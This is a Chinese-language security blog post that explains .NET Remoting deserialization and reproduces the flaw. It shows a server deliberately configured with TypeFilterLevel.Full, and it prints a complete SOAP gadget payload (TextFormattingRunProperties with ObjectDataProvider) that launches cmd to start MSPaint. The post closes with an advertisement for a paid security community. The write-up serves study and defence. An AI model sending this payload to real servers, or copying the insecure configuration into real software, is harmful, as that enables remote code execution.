精华回顾 | 剖析.NET Remoting远程处理反序列化漏洞
精华回顾 | 剖析.NET Remoting远程处理反序列化漏洞
原创 专攻.NET安全的 dotNet安全矩阵 2024-02-15 10:32
0x01 基本介绍
.NET Remoting
是微软
随
.NET
推出的一种分布式应用解决方案,允许不同应用程序域之间进行
RPC
通信,这里的通信可以是在同一个进程中进行、一个系统的不同进程间进行、不同系统的进程间进行。
.NET Remoting
的概念与
Java
中的远程方法调用
Java RMI
非常类似,在
Java
的
RMI
中,传递的是序列化的
Java
对象,在
.NET
中传递的则是一个
.NET
对象。
.NET Remoting 提供了两类格式程序接收器:BinaryFormatter和SoapFormatter。选择的类型很大程度上取决于连接分布式对象的网络环境的类型。对于可以发送并接收二进制数据的网络传输协议,可以使用System.Runtime.Serialization.Formatters.Binary名字空间中定义的BinaryFormatter类型。顾名思义,BinaryFormatter将消息对象序列化为一个二进制格式的流。这是消息对象在线缆间进行传输的最有效而简洁的表示方式。一些网络传输系统不允许发送和接收二进制数据。这类传输迫使应用程序在发送之前将所有的二进制数据转换成ASCII文本表示形式。在这种情况下.NET Remoting在System.Runtime.Serialization.Formatters.Soap名字空间中提供SoapFormatter类型。SoapFormatter使用消息的SOAP表示形式将消息序列化为流。
0x02 服务端
SoapServerFormatterSinkProvider
类有一个重要的属性
TypeFilterLevel
,表示当前自动反序列化级别,支持的值为
Low
和
FULL
。
默认情况下为
Low
,代表
.NET Framework
远程处理较低的反序列化级别,只支持基本远程处理功能相关联的类型,而取值为
Full
的时候则支持所有类型在任意场景下远程处理都支持,所以为
Full
的时候,存在着严重的安全风险。
SoapServerFormatterSinkProvider()
{
TypeFilterLevel = TypeFilterLevel.Full
};
注册HttpServerChannel并绑定在1234端口,RegisterWellKnownServiceType发布URI地址为VulnerableEndpoint.rem的远程调用对象,具体代码如下
IDictionary hashtables = new Hashtable();
hashtables["port"] = 1234;
hashtables["proxyName"] = null;
hashtables["name"] = "Test Remoting Services";
HttpChannel serverChannel = new HttpChannel(hashtables, null, soapServerFormatterSinkProvider);
ChannelServices.RegisterChannel(serverChannel, false);
RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteObject1), "VulnerableEndpoint.rem", WellKnownObjectMode.Singleton);
0x03 客户端
客户端通过远程对象地址
http://localhost:1234/VulnerableEndpoint.rem
建立
HttpServerChannel
通信,然后使用
Activator.GetObject
获取
RemoteObject1
远程对象并调用其方法
String serverAddress = "http://localhost:1234/VulnerableEndpoint.rem";
RemoteObject1 obj1 = (RemoteObject1)Activator.GetObject(typeof(RemoteObject1), serverAddress);
Console.WriteLine("Calling GetCount - received: {0}", obj1.GetCount());
0x04 漏洞复现
POST请求报文复制到Burpsuite里,再把报文主体的内容替换成下方提及的攻击载荷,修改后的报文如下
POST /VulnerableEndpoint.rem HTTP/1.1
User-Agent: Mozilla/4.0+(compatible; MSIE 6.0; Windows 6.2.9200.0; MS .NET Remoting; MS .NET CLR 4.0.30319.42000 )
Host: localhost:1234
Content-Length: 3054
Expect: 100-continue
Connection: Keep-Alive
<SOAP-ENV:Body><SOAP-ENV:Fault id="xref-1"><faultcode id="xref-2">SOAP-ENV:Server</faultcode><faultstring id="xref-3"> **** System.Exception - Exception of type 'System.Exception' was thrown.</faultstring><detail xsi:type="x1:ServerFault" xmlns:x1="http://schemas.microsoft.com/clr/ns/System.Runtime.Serialization.Formatters"><exceptionType xsi:null="1" /><message xsi:null="1" /><stackTrace xsi:null="1" /><exception href="#xref-4" /></detail></SOAP-ENV:Fault><x2:Exception id="xref-4" xmlns:x2="http://schemas.microsoft.com/clr/ns/System"><ClassName id="xref-5">System.Exception</ClassName><Message xsi:null="1" /><Data href="#xref-6" /><InnerException xsi:null="1" /><HelpURL xsi:null="1" /><StackTraceString xsi:null="1" /><RemoteStackTraceString xsi:null="1" /><RemoteStackIndex>0</RemoteStackIndex><ExceptionMethod xsi:null="1" /><HResult>-2146233088</HResult><Source xsi:null="1" /><WatsonBuckets xsi:null="1" /></x2:Exception><x3:ListDictionaryInternal id="xref-6" xmlns:x3="http://schemas.microsoft.com/clr/ns/System.Collections"><head href="#xref-7" /><version>1</version><count>1</count></x3:ListDictionaryInternal><x3:ListDictionaryInternal_x002B_DictionaryNode id="xref-7" xmlns:x3="http://schemas.microsoft.com/clr/ns/System.Collections"><key id="xref-9" xsi:type="SOAP-ENC:string">x</key><value href="#ref-1" /><next xsi:null="1" /></x3:ListDictionaryInternal_x002B_DictionaryNode><x2:Version id="xref-11" xmlns:x2="http://schemas.microsoft.com/clr/ns/System"><_Major>2</_Major><_Minor>0</_Minor><_Build>-1</_Build><_Revision>-1</_Revision></x2:Version><a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35"><ForegroundBrush id="ref-3"><?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c MSPaint.exe" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider></ForegroundBrush></a1:TextFormattingRunProperties></SOAP-ENV:Body>
点击Send按钮运行后成功发出请求,服务端返回500错误,但载荷成功执行启动MSPaint.exe画图进程,如下图所示
欢迎加入星球
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直
聚焦于.NET领域的安全攻防技术,定位于
高质量安全攻防星球社区,也
得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展
。经过运营团队成员商议一致同意给到师傅们最大优惠力度,
只需129元就可以加入我们。
星球汇聚了
各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET
安全资源,可以说市面上很少见,都是干货。其中主题包括
.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库
等等,后续还会倾力打造
专刊、视频
等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。